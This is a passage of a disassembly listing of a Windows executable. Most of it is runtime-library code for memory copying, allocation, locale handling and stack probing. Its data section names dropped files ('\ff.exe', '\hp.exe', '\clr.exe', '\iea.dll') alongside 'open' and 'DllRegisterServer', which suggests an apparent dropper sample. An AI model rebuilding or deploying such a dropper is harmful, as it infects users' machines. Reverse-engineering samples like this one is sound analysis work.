sub_404560+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4046FC: ; CODE XREF: sub_404560+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_404730 shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_404724 std rep movsd cld jmp ds:off_404848[edx*4] ; --------------------------------------------------------------------------- align 4 loc_404724: ; CODE XREF: sub_404560+1B5j ; sub_404560+210j ... neg ecx jmp ds:off_4047F8[ecx*4] ; --------------------------------------------------------------------------- align 10h loc_404730: ; CODE XREF: sub_404560+1AAj mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_404748 and eax, 3 sub ecx, eax jmp dword ptr ds:loc_404748+4[eax*4] ; --------------------------------------------------------------------------- loc_404748: ; CODE XREF: sub_404560+1DAj ; DATA XREF: sub_404560+1E1r jmp ds:off_404848[ecx*4] ; --------------------------------------------------------------------------- align 10h pop esp inc edi inc eax add [eax-57FFBFB9h], al inc edi inc eax add [edx-2EDCFCBAh], cl mov [edi+3], al sub esi, 1 shr ecx, 2 sub edi, 1 cmp ecx, 8 jb short loc_404724 std rep movsd cld jmp ds:off_404848[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_404724 std rep movsd cld jmp ds:off_404848[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_404724 std rep movsd cld jmp ds:off_404848[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_4047FC dd offset loc_404804 dd offset loc_40480C dd offset loc_404814 dd offset loc_40481C dd offset loc_404824 dd offset loc_40482C off_4047F8 dd offset loc_40483F ; DATA XREF: sub_404560+1C6r ; --------------------------------------------------------------------------- loc_4047FC: ; DATA XREF: sub_404560+27Co mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_404804: ; DATA XREF: sub_404560+280o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_40480C: ; DATA XREF: sub_404560+284o mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_404814: ; DATA XREF: sub_404560+288o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_40481C: ; DATA XREF: sub_404560+28Co mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_404824: ; DATA XREF: sub_404560+290o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_40482C: ; DATA XREF: sub_404560+294o mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_40483F: ; CODE XREF: sub_404560+1C6j ; DATA XREF: sub_404560:off_4047F8o jmp ds:off_404848[edx*4] ; --------------------------------------------------------------------------- align 4 off_404848 dd offset loc_404858 ; DATA XREF: sub_404560+1BBr ; sub_404560:loc_404748r ... dd offset loc_404860 dd offset loc_404870 dd offset loc_404884 ; --------------------------------------------------------------------------- loc_404858: ; CODE XREF: sub_404560+1BBj ; sub_404560:loc_404748j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_404860: ; CODE XREF: sub_404560+1BBj ; sub_404560:loc_404748j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_404870: ; CODE XREF: sub_404560+1BBj ; sub_404560:loc_404748j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_404884: ; CODE XREF: sub_404560+1BBj ; sub_404560:loc_404748j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_404560 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4048A0 proc near ; CODE XREF: sub_403FCA+2EFp ; sub_403FCA+325p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] mov ecx, [esp+arg_0] test edx, edx jz short loc_4048FB xor eax, eax mov al, [esp+arg_4] push edi mov edi, ecx cmp edx, 4 jb short loc_4048EB neg ecx and ecx, 3 jz short loc_4048CD sub edx, ecx loc_4048C3: ; CODE XREF: sub_4048A0+2Bj mov [edi], al add edi, 1 sub ecx, 1 jnz short loc_4048C3 loc_4048CD: ; CODE XREF: sub_4048A0+1Fj mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_4048EB rep stosd test edx, edx jz short loc_4048F5 loc_4048EB: ; CODE XREF: sub_4048A0+18j ; sub_4048A0+43j ... mov [edi], al add edi, 1 sub edx, 1 jnz short loc_4048EB loc_4048F5: ; CODE XREF: sub_4048A0+49j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_4048FB: ; CODE XREF: sub_4048A0+Aj mov eax, [esp+arg_0] retn sub_4048A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404900 proc near ; CODE XREF: sub_403FCA+27Dp ; sub_404386+15Ep var_C = byte ptr -0Ch var_6 = byte ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch mov eax, dword_407030 push 6 mov [ebp+var_4], eax lea eax, [ebp+var_C] push eax push 1004h push [ebp+arg_0] mov [ebp+var_6], 0 call ds:dword_405044 ; GetLocaleInfoA test eax, eax jnz short loc_40492F or eax, 0FFFFFFFFh jmp short loc_404939 ; --------------------------------------------------------------------------- loc_40492F: ; CODE XREF: sub_404900+28j lea eax, [ebp+var_C] push eax call sub_404C6A pop ecx loc_404939: ; CODE XREF: sub_404900+2Dj mov ecx, [ebp+var_4] call sub_40124E leave retn sub_404900 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404943 proc near ; CODE XREF: sub_403FCA+2A8p ; sub_403FCA+366p ... var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push 38h push offset stru_405D28 call __SEH_prolog mov eax, dword_407030 mov [ebp+var_1C], eax xor edi, edi mov [ebp+var_34], edi mov [ebp+var_44], edi mov eax, [ebp+arg_C] mov ebx, [eax] mov [ebp+var_40], ebx mov [ebp+var_3C], edi mov eax, [ebp+arg_0] cmp eax, [ebp+arg_4] jz loc_404AE9 lea ecx, [ebp+var_30] push ecx push eax mov esi, ds:dword_4050C4 call esi ; GetCPInfo test eax, eax jz short loc_4049A7 cmp [ebp+var_30], 1 jnz short loc_4049A7 lea eax, [ebp+var_30] push eax push [ebp+arg_4] call esi ; GetCPInfo test eax, eax jz short loc_4049A7 cmp [ebp+var_30], 1 jnz short loc_4049A7 mov [ebp+var_3C], 1 loc_4049A7: ; CODE XREF: sub_404943+42j ; sub_404943+48j ... cmp [ebp+var_3C], edi jz short loc_4049C6 cmp ebx, 0FFFFFFFFh jz short loc_4049B5 mov esi, ebx jmp short loc_4049C1 ; --------------------------------------------------------------------------- loc_4049B5: ; CODE XREF: sub_404943+6Cj push [ebp+arg_8] call sub_402680 pop ecx mov esi, eax inc esi loc_4049C1: ; CODE XREF: sub_404943+70j mov [ebp+var_38], esi jmp short loc_4049C9 ; --------------------------------------------------------------------------- loc_4049C6: ; CODE XREF: sub_404943+67j mov esi, [ebp+var_38] loc_4049C9: ; CODE XREF: sub_404943+81j cmp [ebp+var_3C], edi jnz short loc_4049E8 push edi push edi push ebx push [ebp+arg_8] push 1 push [ebp+arg_0] call ds:dword_4050DC ; MultiByteToWideChar mov esi, eax mov [ebp+var_38], esi cmp esi, edi jz short loc_404A40 loc_4049E8: ; CODE XREF: sub_404943+89j mov [ebp+ms_exc.disabled], edi lea eax, [esi+esi] add eax, 3 and eax, 0FFFFFFFCh call sub_402310 mov [ebp+ms_exc.old_esp], esp mov ebx, esp mov [ebp+var_48], ebx lea eax, [esi+esi] push eax push edi push ebx call sub_4048A0 add esp, 0Ch or [ebp+ms_exc.disabled], 0FFFFFFFFh jmp short loc_404A2C ; --------------------------------------------------------------------------- loc_404A15: ; DATA XREF: .rdata:stru_405D28o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_404A19: ; DATA XREF: .rdata:stru_405D28o mov esp, [ebp+ms_exc.old_esp] call sub_404B0C xor edi, edi xor ebx, ebx or [ebp+ms_exc.disabled], 0FFFFFFFFh mov esi, [ebp+var_38] loc_404A2C: ; CODE XREF: sub_404943+D0j cmp ebx, edi jnz short loc_404A4E push esi push 2 call sub_404BEF pop ecx pop ecx mov ebx, eax cmp ebx, edi jnz short loc_404A47 loc_404A40: ; CODE XREF: sub_404943+A3j xor eax, eax jmp loc_404AFB ; --------------------------------------------------------------------------- loc_404A47: ; CODE XREF: sub_404943+FBj mov [ebp+var_44], 1 loc_404A4E: ; CODE XREF: sub_404943+EBj push esi push ebx push [ebp+var_40] push [ebp+arg_8] push 1 push [ebp+arg_0] call ds:dword_4050DC ; MultiByteToWideChar test eax, eax jz loc_404AEC cmp [ebp+arg_10], edi jz short loc_404A8E push edi push edi push [ebp+arg_14] push [ebp+arg_10] push esi push ebx push edi push [ebp+arg_4] call ds:dword_40508C ; WideCharToMultiByte test eax, eax jz short loc_404AEC mov eax, [ebp+arg_10] mov [ebp+var_34], eax jmp short loc_404AEC ; --------------------------------------------------------------------------- loc_404A8E: ; CODE XREF: sub_404943+129j cmp [ebp+var_3C], edi jnz short loc_404AA9 push edi push edi push edi push edi push esi push ebx push edi push [ebp+arg_4] call ds:dword_40508C ; WideCharToMultiByte mov esi, eax cmp esi, edi jz short loc_404AEC loc_404AA9: ; CODE XREF: sub_404943+14Ej push esi push 1 call sub_404BEF pop ecx pop ecx mov [ebp+var_34], eax cmp eax, edi jz short loc_404AEC push edi push edi push esi push eax push esi push ebx push edi push [ebp+arg_4] call ds:dword_40508C ; WideCharToMultiByte cmp eax, edi jnz short loc_404ADC push [ebp+var_34] call sub_402F0B pop ecx mov [ebp+var_34], edi jmp short loc_404AEC ; --------------------------------------------------------------------------- loc_404ADC: ; CODE XREF: sub_404943+189j cmp [ebp+var_40], 0FFFFFFFFh jz short loc_404AEC mov ecx, [ebp+arg_C] mov [ecx], eax jmp short loc_404AEC ; --------------------------------------------------------------------------- loc_404AE9: ; CODE XREF: sub_404943+2Dj mov ebx, [ebp+var_48] loc_404AEC: ; CODE XREF: sub_404943+120j ; sub_404943+141j ... cmp [ebp+var_44], edi jz short loc_404AF8 push ebx call sub_402F0B pop ecx loc_404AF8: ; CODE XREF: sub_404943+1ACj mov eax, [ebp+var_34] loc_404AFB: ; CODE XREF: sub_404943+FFj lea esp, [ebp-54h] mov ecx, [ebp+var_1C] call sub_40124E call __SEH_epilog retn sub_404943 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404B0C proc near ; CODE XREF: sub_403FCA+FDp ; sub_403FCA+1CBp ... var_4C = byte ptr -4Ch var_48 = dword ptr -48h var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_13 = byte ptr -13h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 4Ch push ebx push esi push edi push 4 pop eax call sub_402310 mov esi, esp push 1Ch lea eax, [ebp+var_28] push eax push esi call ds:dword_4050B8 ; VirtualQuery test eax, eax jz short loc_404BA7 mov ebx, [ebp+var_24] lea eax, [ebp+var_4C] push eax call ds:dword_4050EC ; GetSystemInfo mov ecx, [ebp+var_48] mov eax, dword_4072BC lea edi, [ecx-1] not edi and edi, esi sub edi, ecx mov esi, eax dec esi neg esi sbb esi, esi and esi, 0FFFFFFF1h add esi, 11h imul esi, ecx add esi, ebx cmp edi, esi mov [ebp+var_8], ecx jb short loc_404BA7 cmp eax, 1 jz short loc_404BC8 mov [ebp+var_4], ebx mov ebx, 1000h loc_404B74: ; CODE XREF: sub_404B0C+84j push 1Ch lea eax, [ebp+var_28] push eax push [ebp+var_4] call ds:dword_4050B8 ; VirtualQuery test eax, eax jz short loc_404BA7 mov eax, [ebp+var_1C] add [ebp+var_4], eax test [ebp+var_18], ebx jz short loc_404B74 test [ebp+var_13], 1 mov eax, [ebp+var_28] mov [ebp+var_4], eax jz short loc_404BA3 xor eax, eax inc eax jmp short loc_404BE7 ; --------------------------------------------------------------------------- loc_404BA3: ; CODE XREF: sub_404B0C+90j cmp edi, eax jnb short loc_404BAB loc_404BA7: ; CODE XREF: sub_404B0C+22j ; sub_404B0C+59j ... xor eax, eax jmp short loc_404BE7 ; --------------------------------------------------------------------------- loc_404BAB: ; CODE XREF: sub_404B0C+99j cmp eax, esi jnb short loc_404BB2 mov [ebp+var_4], esi loc_404BB2: ; CODE XREF: sub_404B0C+A1j push 4 push ebx push [ebp+var_8] push [ebp+var_4] call ds:dword_4050CC ; VirtualAlloc mov eax, dword_4072BC jmp short loc_404BCB ; --------------------------------------------------------------------------- loc_404BC8: ; CODE XREF: sub_404B0C+5Ej mov [ebp+var_4], edi loc_404BCB: ; CODE XREF: sub_404B0C+BAj dec eax neg eax sbb eax, eax and eax, 103h lea ecx, [ebp+var_C] push ecx inc eax push eax push [ebp+var_8] push [ebp+var_4] call ds:dword_405040 ; VirtualProtect loc_404BE7: ; CODE XREF: sub_404B0C+95j ; sub_404B0C+9Dj lea esp, [ebp-58h] pop edi pop esi pop ebx leave retn sub_404B0C endp ; =============== S U B R O U T I N E ======================================= sub_404BEF proc near ; CODE XREF: sub_404386+F5p ; sub_404943+F0p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov esi, [esp+8+arg_0] imul esi, [esp+8+arg_4] test esi, esi push edi mov ebx, esi jnz short loc_404C02 inc esi loc_404C02: ; CODE XREF: sub_404BEF+10j ; sub_404BEF+65j xor edi, edi cmp esi, 0FFFFFFE0h ja short loc_404C42 cmp dword_407704, 3 jnz short loc_404C2D add esi, 0Fh and esi, 0FFFFFFF0h cmp ebx, dword_4074B4 ja short loc_404C2D push ebx call sub_403B34 mov edi, eax test edi, edi pop ecx jnz short loc_404C58 loc_404C2D: ; CODE XREF: sub_404BEF+21j ; sub_404BEF+2Fj push esi push 8 push dword_407700 call ds:dword_4050C8 ; RtlAllocateHeap mov edi, eax test edi, edi jnz short loc_404C64 loc_404C42: ; CODE XREF: sub_404BEF+18j cmp dword_4074A4, 0 jz short loc_404C64 push esi call sub_404540 test eax, eax pop ecx jnz short loc_404C02 jmp short loc_404C66 ; --------------------------------------------------------------------------- loc_404C58: ; CODE XREF: sub_404BEF+3Cj push ebx push 0 push edi call sub_4048A0 add esp, 0Ch loc_404C64: ; CODE XREF: sub_404BEF+51j ; sub_404BEF+5Aj mov eax, edi loc_404C66: ; CODE XREF: sub_404BEF+67j pop edi pop esi pop ebx retn sub_404BEF endp ; =============== S U B R O U T I N E ======================================= sub_404C6A proc near ; CODE XREF: sub_404900+33p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] jmp short loc_404C72 ; --------------------------------------------------------------------------- loc_404C71: ; CODE XREF: sub_404C6A+14j inc esi loc_404C72: ; CODE XREF: sub_404C6A+5j movzx eax, byte ptr [esi] push eax call sub_404CC2 test eax, eax pop ecx jnz short loc_404C71 movzx ecx, byte ptr [esi] inc esi cmp ecx, 2Dh mov edx, ecx jz short loc_404C90 cmp ecx, 2Bh jnz short loc_404C94 loc_404C90: ; CODE XREF: sub_404C6A+1Fj movzx ecx, byte ptr [esi] inc esi loc_404C94: ; CODE XREF: sub_404C6A+24j xor eax, eax loc_404C96: ; CODE XREF: sub_404C6A+4Dj cmp ecx, 30h jl short loc_404CA5 cmp ecx, 39h jg short loc_404CA5 sub ecx, 30h jmp short loc_404CA8 ; --------------------------------------------------------------------------- loc_404CA5: ; CODE XREF: sub_404C6A+2Fj ; sub_404C6A+34j or ecx, 0FFFFFFFFh loc_404CA8: ; CODE XREF: sub_404C6A+39j cmp ecx, 0FFFFFFFFh jz short loc_404CB9 lea eax, [eax+eax*4] lea eax, [ecx+eax*2] movzx ecx, byte ptr [esi] inc esi jmp short loc_404C96 ; --------------------------------------------------------------------------- loc_404CB9: ; CODE XREF: sub_404C6A+41j cmp edx, 2Dh pop esi jnz short locret_404CC1 neg eax locret_404CC1: ; CODE XREF: sub_404C6A+53j retn sub_404C6A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404CC2 proc near ; CODE XREF: sub_404C6A+Cp var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] cmp ecx, 0FFh jbe short loc_404D2F and [ebp+var_4], 0 push edi xor eax, eax lea edi, [ebp+var_2] stosw mov eax, ecx shr eax, 8 cmp dword_4074C8, 0 mov byte ptr [ebp+arg_0+2], al mov byte ptr [ebp+arg_0+3], cl pop edi jnz short loc_404CF7 loc_404CF3: ; CODE XREF: sub_404CC2+59j ; sub_404CC2+60j ... xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_404CF7: ; CODE XREF: sub_404CC2+2Fj push 1 push dword_4074C4 lea eax, [ebp+var_4] push dword_4075E4 push eax push 2 lea eax, [ebp+arg_0+2] push eax push 1 call sub_404386 add esp, 1Ch test eax, eax jz short loc_404CF3 cmp [ebp+var_2], 0 jnz short loc_404CF3 test byte ptr [ebp+var_4], 8 jz short loc_404CF3 xor eax, eax inc eax leave retn ; --------------------------------------------------------------------------- loc_404D2F: ; CODE XREF: sub_404CC2+Dj cmp dword_407290, 1 jle short loc_404D44 push 8 push ecx call sub_404D94 pop ecx pop ecx leave retn ; --------------------------------------------------------------------------- loc_404D44: ; CODE XREF: sub_404CC2+74j mov eax, off_407280 movzx eax, byte ptr [eax+ecx*2] and eax, 8 leave retn sub_404CC2 endp ; --------------------------------------------------------------------------- align 10h mov eax, [esp+8] mov ecx, [esp+10h] or ecx, eax mov ecx, [esp+0Ch] jnz short loc_404D79 mov eax, [esp+4] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_404D79: ; CODE XREF: .text:00404D6Ej push ebx mul ecx mov ebx, eax mov eax, [esp+8] mul dword ptr [esp+14h] add ebx, eax mov eax, [esp+8] mul ecx add edx, ebx pop ebx retn 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404D94 proc near ; CODE XREF: sub_404CC2+79p var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] lea ecx, [eax+1] cmp ecx, 100h ja short loc_404DB2 mov ecx, off_407280 movzx eax, word ptr [ecx+eax*2] jmp short loc_404E0D ; --------------------------------------------------------------------------- loc_404DB2: ; CODE XREF: sub_404D94+10j mov ecx, eax sar ecx, 8 push esi mov esi, off_407280 movzx edx, cl test byte ptr [esi+edx*2+1], 80h pop esi jz short loc_404DD8 push 2 mov [ebp+var_3], al mov [ebp+var_4], cl mov [ebp+var_2], 0 pop eax jmp short loc_404DE2 ; --------------------------------------------------------------------------- loc_404DD8: ; CODE XREF: sub_404D94+33j mov [ebp+var_4], al xor eax, eax mov [ebp+var_3], 0 inc eax loc_404DE2: ; CODE XREF: sub_404D94+42j push 1 push dword_407480 lea ecx, [ebp+arg_0+2] push dword_407490 push ecx push eax lea eax, [ebp+var_4] push eax push 1 call sub_404386 add esp, 1Ch test eax, eax jnz short loc_404E09 leave retn ; --------------------------------------------------------------------------- loc_404E09: ; CODE XREF: sub_404D94+71j movzx eax, word ptr [ebp+arg_0+2] loc_404E0D: ; CODE XREF: sub_404D94+1Cj and eax, [ebp+arg_4] leave retn sub_404D94 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_404E12 proc near ; CODE XREF: sub_40270C+13p jmp ds:dword_4050B0 sub_404E12 endp ; --------------------------------------------------------------------------- align 200h _text ends ; Section 2. (virtual address 00005000) ; Virtual size : 00002000 ( 8192.) ; Section size in file : 00002000 ( 8192.) ; Offset to raw data for section: 00005000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _rdata segment para public 'DATA' use32 assume cs:_rdata ;org 405000h dword_405000 dd 77E77963h ; DATA XREF: sub_401000+6Er ; sub_401000:loc_40107Ar dword_405004 dd 77E79D8Ch ; DATA XREF: sub_401000+63r ; sub_4018FC+155r dword_405008 dd 77E7A837h ; DATA XREF: sub_401000+4Cr dword_40500C dd 77E7C931h ; DATA XREF: sub_401000+2Dr dword_405010 dd 77E7105Fh ; DATA XREF: sub_401000+24r dword_405014 dd 77E760B5h ; DATA XREF: sub_401000+1Ar dword_405018 dd 77E6CA8Ah ; DATA XREF: sub_401000+10r dword_40501C dd 77E645E4h ; DATA XREF: sub_401090+16Dr dword_405020 dd 77E6AD34h ; DATA XREF: sub_401090+9Er dword_405024 dd 77E80618h ; DATA XREF: sub_401090+98r dword_405028 dd 77E7A5FDh ; DATA XREF: sub_401090+8Br ; sub_401761+15r ... dword_40502C dd 77E805D8h ; DATA XREF: sub_401090+7Dr ; sub_40234D+18r dword_405030 dd 77E74155h ; DATA XREF: sub_401090+55r dword_405034 dd 77E73BEFh ; DATA XREF: sub_401090+4Fr dword_405038 dd 77E704FCh ; DATA XREF: sub_401090+37r dword_40503C dd 77E7A099h ; DATA XREF: sub_401090+24r ; .text:00401544r ... dword_405040 dd 77E6169Ah ; DATA XREF: sub_404B0C+D5r dword_405044 dd 77E7513Ch ; DATA XREF: sub_404900+20r dword_405048 dd 77E75CB5h ; DATA XREF: sub_40124E-7r ; sub_401761+29r dword_40504C dd 77E79F93h ; DATA XREF: .text:004012EEr ; sub_401761+5r dword_405050 dd 77E6177Ah ; DATA XREF: .text:004013E1r ; sub_402071+57r dword_405054 dd 77E7C938h ; DATA XREF: .text:loc_40138Dr dword_405058 dd 77E7C657h ; DATA XREF: .text:004012A1r dword_40505C dd 77E802FCh ; DATA XREF: sub_40145D+43r dword_405060 dd 77E7751Ah ; DATA XREF: sub_40145D+37r dword_405064 dd 77E77CC4h ; DATA XREF: sub_40145D+2Fr dword_405068 dd 77E80656h ; DATA XREF: sub_40145D+27r dword_40506C dd 77E6167Bh ; DATA XREF: sub_40145D+1Br dword_405070 dd 77E616B4h ; DATA XREF: sub_4017FB+1Ar dword_405074 dd 77E79C90h ; DATA XREF: sub_4017FB+13r dword_405078 dd 77E79C3Dh ; DATA XREF: sub_4018FC+14Er ; sub_402071+157r dword_40507C dd 77EB9A84h ; DATA XREF: sub_401AAC+167r dword_405080 dd 77E9C5B1h ; DATA XREF: sub_401F4F+113r dword_405084 dd 77E67702h ; DATA XREF: sub_401F4F:loc_402026r dword_405088 dd 77E7C9E1h ; DATA XREF: sub_401F4F+C1r dword_40508C dd 77E79924h ; DATA XREF: sub_401F4F:loc_401FBEr ; sub_403FCA+22Dr ... dword_405090 dd 77F5157Dh ; DATA XREF: sub_401F4F:loc_401F7Fr ; sub_403FCA:loc_404003r ... dword_405094 dd 77E77EE1h ; DATA XREF: sub_401F4F+Br dword_405098 dd 77E7C931h ; DATA XREF: sub_402071+19Cr dword_40509C dd 77E78406h ; DATA XREF: sub_402071+FEr ; sub_402071+165r dword_4050A0 dd 77E76E0Bh ; DATA XREF: sub_4022BE+44r dword_4050A4 dd 77E7C726h ; DATA XREF: sub_4022BE+11r dword_4050A8 dd 77E79E34h ; DATA XREF: sub_403380+22Fr dword_4050AC dd 77F51597h ; DATA XREF: sub_402F0B+30r ; sub_403380+2B4r ... dword_4050B0 dd 77F6183Eh ; DATA XREF: sub_404E12r dword_4050B4 dd 77E775F1h ; DATA XREF: sub_4027FA+131r ; sub_4027FA+196r ... dword_4050B8 dd 77E7F044h ; DATA XREF: sub_4027FA+B3r ; sub_404B0C+1Ar ... dword_4050BC dd 77E7A13Fh ; DATA XREF: sub_402D07+42r dword_4050C0 dd 77E6C703h ; DATA XREF: sub_402D07+2Br dword_4050C4 dd 77E7849Fh ; DATA XREF: sub_402B7B+1Cr ; sub_402D07+93r ... dword_4050C8 dd 77F516F8h ; DATA XREF: sub_402F43+3Er ; sub_40330D+Dr ... dword_4050CC dd 77E7980Ah ; DATA XREF: sub_403698+7Er ; sub_40374F+52r ... dword_4050D0 dd 77F5722Fh ; DATA XREF: sub_403698+27r ; sub_403E30+FDr ... dword_4050D4 dd 77F522F2h ; DATA XREF: sub_403F92+30r dword_4050D8 dd 77E77405h ; DATA XREF: sub_403FCA+2C3r ; sub_403FCA+344r ... dword_4050DC dd 77E77CCEh ; DATA XREF: sub_403FCA+C0r ; sub_403FCA+141r ... dword_4050E0 dd 77E781F9h ; DATA XREF: sub_403FCA+27r ; sub_403FCA+15Br ... dword_4050E4 dd 77E641EBh ; DATA XREF: sub_404386+19Cr dword_4050E8 dd 77E7C866h ; DATA XREF: sub_404386+24r ; sub_404386+128r dword_4050EC dd 77E7C3A5h ; DATA XREF: sub_404B0C+2Br dd 0 dword_4050F4 dd 77428B97h ; DATA XREF: sub_401090+CAr dd 3 dup(0) aTo0f db 'âo0F',0 align 4 dd 2, 52h, 2 dup(5D80h) aFf_exe db '\ff.exe',0 ; DATA XREF: sub_401090+130o aHp_exe db '\hp.exe',0 ; DATA XREF: sub_401090+F3o aOpen db 'open',0 ; DATA XREF: sub_401090+DEo ; sub_401090+11Bo ... align 4 aClr_exe db '\clr.exe',0 ; DATA XREF: sub_401090+B0o align 10h aDllregisterser db 'DllRegisterServer',0 ; DATA XREF: sub_401090+85o align 4 aIea_dll db '\iea.dll',0 ; DATA XREF: sub_401090+5Bo align 10h stru_405160 _msEH <0FFFFFFFFh, offset sub_40123A, offset sub_40123E> ; DATA XREF: sub_40124E-2Fo align 10h stru_405170 _msEH <0FFFFFFFFh, offset sub_401423, offset sub_401437> ; DATA XREF: .text:00401283o aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: .text:004015F5o ; sub_4018FC+123o align 4 aProgram db 'Program: ',0 ; DATA XREF: .text:004015CBo align 10h asc_4051B0 db 0Ah ; DATA XREF: .text:004015BFo ; sub_4018FC+107o db 0Ah,0 align 4 a___ db '...',0 ; DATA XREF: .text:0040158Fo ; sub_4018FC+C1o aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: .text:0040154Eo ; sub_4018FC+8Eo align 10h aABufferOverrun db 'A buffer overrun has been detected which has corrupted the progra' ; DATA XREF: .text:00401525o db 'm',27h,'s',0Ah db 'internal state. The program cannot safely continue execution and' db ' must',0Ah db 'now be terminated.',0Ah,0 aBufferOverrunD db 'Buffer overrun detected!',0 ; DATA XREF: .text:loc_401520o align 10h aASecurityError db 'A security error of unknown cause has been detected which has',0Ah ; DATA XREF: .text:0040150Fo db 'corrupted the program',27h,'s internal state. The program cannot sa' db 'fely',0Ah db 'continue execution and must now be terminated.',0Ah,0 align 4 aUnknownSecurit db 'Unknown security failure detected!',0 ; DATA XREF: .text:0040150Ao align 4 stru_405368 _msEH <0FFFFFFFFh, offset sub_4014FB, offset sub_4014FF> ; DATA XREF: .text:004014C8o aCorexitprocess db 'CorExitProcess',0 ; DATA XREF: sub_401761+Fo align 4 aMscoree_dll db 'mscoree.dll',0 ; DATA XREF: sub_401761o aRuntimeError db 'runtime error ',0 align 10h db 0Dh,0Ah,0 align 4 aTlossError db 'TLOSS error',0Dh,0Ah,0 align 4 aSingError db 'SING error',0Dh,0Ah,0 align 4 aDomainError db 'DOMAIN error',0Dh,0Ah,0 align 8 aR6029ThisAppli db 'R6029',0Dh,0Ah db '- This application cannot run using the active version of the Mic' db 'rosoft .NET Runtime',0Ah db 'Please contact the application',27h,'s support team for more informa' db 'tion.',0Dh,0Ah,0 align 4 aR6028UnableToI db 'R6028',0Dh,0Ah db '- unable to initialize heap',0Dh,0Ah,0 align 4 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 4 aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 4 aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 4 aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 4 aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 10h aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 4 aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 4 aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aThisApplicatio db 0Dh,0Ah db 'This application has requested the Runtime to 